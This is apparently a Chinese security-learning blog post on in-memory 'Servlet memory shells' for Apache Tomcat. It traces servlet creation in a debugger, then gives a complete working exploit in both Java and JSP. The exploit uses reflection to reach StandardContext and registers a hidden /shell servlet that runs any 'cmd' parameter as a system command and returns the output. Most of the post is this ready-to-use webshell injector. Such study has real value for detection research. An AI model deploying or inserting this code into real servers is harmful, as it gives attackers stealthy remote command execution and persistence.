Servlet型内存马

Servlet执行流程

通过继承HttpServlet类可以实现一个Servlet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package org.e4stjun.servlets;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        resp.getWriter().write("Hello World");
    }

}

要分析Servlet的创建流程的话首先得在init()函数处下断点,这个函数会在每个Servlet被创建的时候执行。

image-20230905133348198

然后回溯Servlet创建的流程:

image-20230905133536617

然后在loadServlet()这个函数中找到了这一段:

image-20230905133648689

那我得康康这个servletClass是怎么来的:

image-20230905133811452

于是在setServletClass()这里下断点,再次访问的时候在前面的configureContext()函数里看到了wrapper的创建过程:

image-20230905134413369

也就是调用context.createWrapper()创建wrapper,设置好一些属性之后调用context.addChild(wrapper)wrapper添加进context

而在创建完成之后wrapper的执行流程中,主要检测loadOnStartup不小于0才会对wrapper进行加载:

image-20230905134839602

也就是说在手动构造创建wrapper时必须将loadOnStartup参数设置为不小于0的值才能加载wrapper

Servlet内存马构造思路

首先得获取context

1
2
3
4
5
6
7
ServletContext servletContext = req.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

然后定义一个Servlet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Servlet servlet = new HttpServlet() {
    @Override
    public void service(ServletRequest req, ServletResponse res)
            throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if (cmd !=null){
            try{
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                res.getWriter().write(output);
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
};

创建wrapper

1
2
3
4
5
6
String name = servlet.getClass().getName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servlet);
wrapper.setServletClass(name);

加入context

1
2
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);

Servlet内存马实现

完整的exp如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/addServlet")
public class AddServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        try{
            ServletContext servletContext = req.getSession().getServletContext();
            Field appContextField = servletContext.getClass().getDeclaredField("context");
            appContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
            Field standardContextField = applicationContext.getClass().getDeclaredField("context");
            standardContextField.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

            Servlet servlet = new HttpServlet() {
                @Override
                public void service(ServletRequest req, ServletResponse res)
                        throws ServletException, IOException {
                    String cmd = req.getParameter("cmd");
                    if (cmd !=null){
                        try{
                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            res.getWriter().write(output);
                        }catch (Exception e){
                            e.printStackTrace();
                        }
                    }
                }
            };
            String name = servlet.getClass().getName();
            Wrapper wrapper = standardContext.createWrapper();
            wrapper.setLoadOnStartup(1);
            wrapper.setName(name);
            wrapper.setServlet(servlet);
            wrapper.setServletClass(name);

            standardContext.addChild(wrapper);
            standardContext.addServletMappingDecoded("/shell",name);
            resp.getWriter().write("added Servlet");
        }catch (Exception ignore){}
    }
}

jsp版本:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
    class Cmd_Servlet extends HttpServlet {
        @Override
        public void service(ServletRequest req, ServletResponse res)
                throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    res.getWriter().write(output);
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    };
%>
<%
try {
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Servlet servlet = new HttpServlet() {
        @Override
        public void service(ServletRequest req, ServletResponse res)
                throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    res.getWriter().write(output);
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    };
    String name = servlet.getClass().getName();
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(servlet);
    wrapper.setServletClass(name);

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
    response.getWriter().write("added Servlet");
}catch (Exception ignore){}
%>

Referer

Java安全学习——内存马

Java Servlet型内存马

updatedupdated2023-09-052023-09-05